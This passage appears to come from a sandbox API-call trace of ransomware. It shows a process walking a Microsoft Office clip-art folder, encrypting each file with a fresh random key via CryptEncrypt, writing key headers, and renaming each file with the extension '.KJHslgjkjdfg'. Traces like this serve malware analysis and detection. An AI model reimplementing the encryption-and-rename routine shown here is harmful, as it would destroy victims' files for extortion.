dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.285] GetProcessHeap () returned 0x990000 [0212.285] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.kjhslgjkjdfg")) returned 1 [0212.286] CloseHandle (hObject=0x130) returned 1 [0212.286] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db71a00, ftCreationTime.dwHighDateTime=0x1bd4b39, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db71a00, ftLastWriteTime.dwHighDateTime=0x1bd4b39, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1 [0212.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.288] GetProcessHeap () returned 0x990000 [0212.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.288] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.288] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0212.290] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.290] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.290] GetProcessHeap () returned 0x990000 [0212.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.290] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.291] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.291] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.291] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.291] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.291] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.291] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.291] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16ee, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16ee, lpOverlapped=0x0) returned 1 [0212.293] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16f0) returned 1 [0212.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.293] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16f0, lpOverlapped=0x0) returned 1 [0212.293] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.293] SetEndOfFile (hFile=0x130) returned 1 [0212.294] GetProcessHeap () returned 0x990000 [0212.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.294] GetProcessHeap () returned 0x990000 [0212.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.kjhslgjkjdfg")) returned 1 [0212.295] CloseHandle (hObject=0x130) returned 1 [0212.295] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230f6700, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x230f6700, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1 [0212.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.296] GetProcessHeap () returned 0x990000 [0212.296] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.296] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.296] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0212.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.298] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.298] GetProcessHeap () returned 0x990000 [0212.298] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.298] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.298] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.298] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.298] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.298] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.299] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.299] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.299] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x41c2, lpOverlapped=0x0) returned 1 [0212.299] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x41d0, dwBufLen=0x41d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x41d0) returned 1 [0212.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.300] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x41d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x41d0, lpOverlapped=0x0) returned 1 [0212.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x42a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.300] SetEndOfFile (hFile=0x130) returned 1 [0212.302] GetProcessHeap () returned 0x990000 [0212.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.302] GetProcessHeap () returned 0x990000 [0212.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.kjhslgjkjdfg")) returned 1 [0212.304] CloseHandle (hObject=0x130) returned 1 [0212.304] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec395100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec395100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00828_.WMF", cAlternateFileName="")) returned 1 [0212.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.305] GetProcessHeap () returned 0x990000 [0212.305] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.305] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.305] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0212.307] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.307] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.307] GetProcessHeap () returned 0x990000 [0212.307] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.307] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.307] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.307] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.307] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.307] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.307] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.308] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.308] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.308] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.308] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x28ae, lpOverlapped=0x0) returned 1 [0212.308] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28b0, dwBufLen=0x28b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x28b0) returned 1 [0212.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.309] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x28b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x28b0, lpOverlapped=0x0) returned 1 [0212.309] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.309] SetEndOfFile (hFile=0x130) returned 1 [0212.311] GetProcessHeap () returned 0x990000 [0212.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.311] GetProcessHeap () returned 0x990000 [0212.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.kjhslgjkjdfg")) returned 1 [0212.313] CloseHandle (hObject=0x130) returned 1 [0212.313] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6bec00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xce6bec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00834_.WMF", cAlternateFileName="")) returned 1 [0212.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.314] GetProcessHeap () returned 0x990000 [0212.314] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.314] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.314] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0212.316] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.316] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.316] GetProcessHeap () returned 0x990000 [0212.316] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.316] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.316] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.316] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.316] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.316] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.316] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.316] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.316] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.316] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.316] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x36da, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x36da, lpOverlapped=0x0) returned 1 [0212.317] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x36e0, dwBufLen=0x36e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x36e0) returned 1 [0212.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.317] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x36e0, lpOverlapped=0x0) returned 1 [0212.317] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x37b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.318] SetEndOfFile (hFile=0x130) returned 1 [0212.320] GetProcessHeap () returned 0x990000 [0212.320] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.320] GetProcessHeap () returned 0x990000 [0212.320] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.kjhslgjkjdfg")) returned 1 [0212.321] CloseHandle (hObject=0x130) returned 1 [0212.321] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc613b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00837_.WMF", cAlternateFileName="")) returned 1 [0212.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 